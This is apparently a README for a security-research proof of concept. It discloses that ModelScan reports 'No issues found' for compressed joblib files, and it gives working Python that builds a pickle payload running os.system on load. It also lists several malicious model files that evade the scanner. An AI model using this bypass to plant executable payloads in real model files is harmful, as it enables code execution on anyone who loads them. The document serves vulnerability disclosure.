--- license: mit tags: - security-research - modelscan-bypass --- # ModelScan Compressed Joblib Bypass PoC ## Summary ModelScan fails to scan compressed joblib files, allowing arbitrary code execution via `joblib.load()`. ## Vulnerability - **Affected format**: `.joblib` (compressed with zlib, gzip, bz2, lz4) - **Scanner**: modelscan 0.7.6 and 0.8.8 (git HEAD) - **Result**: "No issues found" for all compressed variants - **Impact**: Full RCE on `joblib.load()` ## Root Cause Joblib's default serialization uses zlib compression (level 3). ModelScan's pickle scanner attempts to parse the compressed bytes as raw pickle opcodes, encounters an unknown opcode (the compression header byte), and errors out silently — reporting "No issues found" instead of flagging the file as unanalyzable. ## Reproduction ```python import joblib, os class Evil: def __reduce__(self): return (os.system, ('echo PWNED',)) # Create (default compression = zlib level 3) joblib.dump(Evil(), 'evil.joblib', compress=3) # Scan — reports "No issues found" # modelscan scan -p evil.joblib # Load — executes code joblib.load('evil.joblib') # prints PWNED ``` ## Files - `joblib_bypass_poc.joblib` — Default compression (zlib level 3) - `joblib_bypass_zlib.joblib` — Explicit zlib - `joblib_bypass_gzip.joblib` — gzip compression - `joblib_bypass_bz2.joblib` — bz2 compression - `joblib_bypass_lz4.joblib` — lz4 compression All pass modelscan with "No issues found". All execute code on `joblib.load()`.